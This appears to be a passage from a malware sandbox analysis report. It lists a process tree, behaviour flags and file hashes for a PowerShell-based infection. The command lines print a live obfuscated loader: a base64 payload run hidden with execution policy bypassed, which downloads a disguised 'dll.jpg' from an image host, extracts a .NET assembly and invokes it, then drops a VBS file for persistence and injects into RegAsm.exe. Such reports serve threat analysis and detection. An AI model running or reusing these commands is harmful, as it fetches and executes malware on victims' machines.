UUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzZQB0CUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzeQBwCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzYQBzCUUWJLhOstUÇDfzHMCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBpCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzcgBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzeQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzQwBsCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcwBzCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz7CUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzZQB0CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzbwBkCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzeQBwCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgBHCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBoCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzdQBuCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBJCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdgBvCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzFgCUUWJLhOstUÇDfzcgBtCUUWJLhOstUÇDfzG4CUUWJLhOstUÇDfzdQBsCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzbwBiCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZQBjCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzWwBdCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzEoCUUWJLhOstUÇDfzagBCCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWQBtCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwB3CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzagBNCUUWJLhOstUÇDfzDECUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTgBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzSgBsCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzegBBCUUWJLhOstUÇDfzHkCUUWJLhOstUÇDfzWQBUCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzNQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBWCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMwBZCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBqCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzagBJCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzWQB6CUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBNCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzSQCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBZCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTgBECUUWJLhOstUÇDfzGsCUUWJLhOstUÇDfzMQBZCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzRwBZCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzEUCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzVQB3CUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzVwBFCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzYgBXCUUWJLhOstUÇDfzGcCUUWJLhOstUÇDfzbQBOCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzxCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzRCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzTgBUCUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzOQBjCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzawBtCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzagBkCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzWgBqCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz5CUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzRwBVCUUWJLhOstUÇDfzC8CUUWJLhOstUÇDfzZCUUWJLhOstUÇDfzBICUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzG0CUUWJLhOstUÇDfzbCUUWJLhOstUÇDfzBwCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzVwBsCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzagBiCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzFcCUUWJLhOstUÇDfzVgB5CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBNCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzNQBNCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzQQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzegBJCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzTwBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzMgBPCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBFCUUWJLhOstUÇDfzHYCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzTQBECUUWJLhOstUÇDfzFUCUUWJLhOstUÇDfzeCUUWJLhOstUÇDfzBPCUUWJLhOstUÇDfzEQCUUWJLhOstUÇDfzWQB4CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBJCUUWJLhOstUÇDfzDCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTQBqCUUWJLhOstUÇDfzFECUUWJLhOstUÇDfzMQBOCUUWJLhOstUÇDfzFQCUUWJLhOstUÇDfzWQCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzE0CUUWJLhOstUÇDfzVCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzHgCUUWJLhOstUÇDfzTQBTCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzegBkCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzNQBsCUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzVwCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzJwBoCUUWJLhOstUÇDfzGoCUUWJLhOstUÇDfzWQBYCUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBZCUUWJLhOstUÇDfzFMCUUWJLhOstUÇDfzOQB0CUUWJLhOstUÇDfzGICUUWJLhOstUÇDfzMgBNCUUWJLhOstUÇDfzHUCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzEICUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBaCUUWJLhOstUÇDfzEgCUUWJLhOstUÇDfzSgB2CUUWJLhOstUÇDfzFkCUUWJLhOstUÇDfzMwBOCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzWgBDCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzdQBaCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzTQB2CUUWJLhOstUÇDfzEwCUUWJLhOstUÇDfzegBwCUUWJLhOstUÇDfzHoCUUWJLhOstUÇDfzYwBICUUWJLhOstUÇDfzFICUUWJLhOstUÇDfzMCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzPQCUUWJLhOstUÇDfz9CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzLCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzZwBvCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwBsCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzMgCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzMwCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzgCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBDCUUWJLhOstUÇDfzDoCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzByCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzZwByCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzbQBECUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzdCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzFoCUUWJLhOstUÇDfzNCUUWJLhOstUÇDfzCUUWJLhOstUÇDfz1CUUWJLhOstUÇDfzDICUUWJLhOstUÇDfzNQBoCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBnCUUWJLhOstUÇDfzG8CUUWJLhOstUÇDfzbwBnCUUWJLhOstUÇDfzGwCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzZQCUUWJLhOstUÇDfzyCUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWgCUUWJLhOstUÇDfz0CUUWJLhOstUÇDfzDUCUUWJLhOstUÇDfzJwCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzXCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCkCUUWJLhOstUÇDfzLgBSCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzUCUUWJLhOstUÇDfzBMCUUWJLhOstUÇDfzEECUUWJLhOstUÇDfzYwBFCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzJwBYCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzbQCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCwCUUWJLhOstUÇDfzWwBzCUUWJLhOstUÇDfzHQCUUWJLhOstUÇDfzcgBpCUUWJLhOstUÇDfzE4CUUWJLhOstUÇDfzRwBdCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzQwBoCUUWJLhOstUÇDfzGECUUWJLhOstUÇDfzcgBdCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzNgCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzC4CUUWJLhOstUÇDfzUgBlCUUWJLhOstUÇDfzFCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzTCUUWJLhOstUÇDfzBBCUUWJLhOstUÇDfzGMCUUWJLhOstUÇDfzRQCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCgCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzNQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzCsCUUWJLhOstUÇDfzWwBDCUUWJLhOstUÇDfzGgCUUWJLhOstUÇDfzYQByCUUWJLhOstUÇDfzF0CUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzwCUUWJLhOstUÇDfzDQCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzcwB0CUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzaQBOCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzXQBbCUUWJLhOstUÇDfzEMCUUWJLhOstUÇDfzaCUUWJLhOstUÇDfzBhCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzzCUUWJLhOstUÇDfzDkCUUWJLhOstUÇDfzKQB8CUUWJLhOstUÇDfzCYCUUWJLhOstUÇDfzICUUWJLhOstUÇDfzCUUWJLhOstUÇDfzoCUUWJLhOstUÇDfzCCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzJCUUWJLhOstUÇDfzBWCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzcgBiCUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzcwBFCUUWJLhOstUÇDfzHCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzUgBFCUUWJLhOstUÇDfzEYCUUWJLhOstUÇDfzZQByCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzTgBjCUUWJLhOstUÇDfzGUCUUWJLhOstUÇDfzLgB0CUUWJLhOstUÇDfzE8CUUWJLhOstUÇDfzUwBUCUUWJLhOstUÇDfzHICUUWJLhOstUÇDfzSQBuCUUWJLhOstUÇDfzEcCUUWJLhOstUÇDfzKCUUWJLhOstUÇDfzCUUWJLhOstUÇDfzpCUUWJLhOstUÇDfzFsCUUWJLhOstUÇDfzMQCUUWJLhOstUÇDfzsCUUWJLhOstUÇDfzDMCUUWJLhOstUÇDfzXQCUUWJLhOstUÇDfzrCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzWCUUWJLhOstUÇDfzCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzC0CUUWJLhOstUÇDfzSgBPCUUWJLhOstUÇDfzEkCUUWJLhOstUÇDfzbgCUUWJLhOstUÇDfznCUUWJLhOstUÇDfzCcCUUWJLhOstUÇDfzKQCUUWJLhOstUÇDfz=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CUUWJLhOstUÇDfz','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('XrmimageUrl = 25hhttps://uploaddeimagens.com.br/images/004/682'+'/796/original/dll.jpg?170179396525h;XrmwebClient = New-Object System.Net.'+'WebClient;Xr'+'mimageByte'+'s = XrmwebClient.DownloadDa'+'ta(XrmimageUrl);XrmimageText = [System.Text.Enco'+'ding]::UTF8.GetString(XrmimageBytes);XrmstartFlag = 25h<<BASE64_STAR'+'T>>25h;XrmendFlag ='+' 25h<<BASE64_END>>25h;XrmstartIndex ='+' XrmimageText.IndexOf(XrmstartFlag);XrmendIndex = XrmimageT'+'ext.IndexOf(XrmendFlag);XrmstartIndex -ge 0 -and XrmendIndex -gt Xrmstar'+'tIndex;XrmstartIndex += XrmstartFlag.Length;Xrmbase64Length = XrmendIndex - XrmstartIndex;Xrmbase64Command = XrmimageText.Substring(XrmstartIndex, Xrmbase64Length);XrmcommandBytes = [System.Convert]::FromBase64String(Xrmbase64Command);Xrml'+'oadedAssembly '+'= [Syste'+'m.Reflection.Assembly]::Load(XrmcommandBytes);Xrmtype = XrmloadedAssembly.GetType(2'+'5hClassLibrary3.Class125h);Xrmmethod = Xrm'+'type.GetMethod(25hRun25h).Invoke(Xrmnull'+', [object[]] (25hJjBhYmMzYjcwMjM1'+'NjQxM2JlNzAyYTg5NjA0ZWVkMjk3YjdjZjI4Yzg0MGI1NjY2NDk1Y'+'j'+'MxMGYxMDE3N2UwZWE9bWgmNjc1ODA3NTY9c2kmNjdhZjI4NTY9eGU/dHh0LmlpaWlzc29jb'+'WVyLzM2MjM5MTA5MzIzODU2OTE4MTEv'+'MDUxODYxMTI0MjQ1NTY5MTgxMS9zd'+'G5lbW'+'hjYXR0YS9tb2MucHBhZHJvY3NpZC5uZGMvLzpzcHR0aA==25h '+', 25h25h , 25h225h , 25hgoogle25h , 25h325h , 25hC:Z45ProgramDataZ4525h, 25hgoogl'+'e25h))').RePLAcE('Z45','\').RePLAcE('Xrm',[striNG][Char]36).RePLAcE(([Char]50+[Char]53+[Char]104),[striNG][Char]39)|& ( $VerbOsEpREFereNce.tOSTrInG()[1,3]+'X'-JOIn'')"3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5048
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:3428
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of SetWindowsHookEx
PID:2164
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD561768c8f519f1e62819164c0e38c3dd5
SHA1b0858edf0fc187aef7d31b3051036a3fe01847a8
SHA256165584ebe78bf4f465e92d4b3eb9e11bdbffbe371d88627ebfd04c3422e44eb9
SHA51272db5ba69525e36b0e07f38eeb976ac0fc2d3d2e8d7a094f69981f9d3ffde471732a2f20d680d3fb42dca32e1f4318181c2bf2e954174b2aa8ff9758697bee0c
-
Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
Filesize
1KB
MD5a8eb2efce4ffa5e8524cf912c1382a37
SHA177695564822958871fc6a1f298f1b047c1b3115c
SHA256b17d51d163ca87e8d4e41285219b830c3d545b6bd2f0a133d2986f4022f8f85e
SHA51259aa838bae3a2bb1c6f8238cb3e757eb79269352f7647aaad2e9484eac2b50bdb06436cf305e255b4dffa50479a3db0b71c7c4c46601a00156e9560c2b6af63d
-
Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82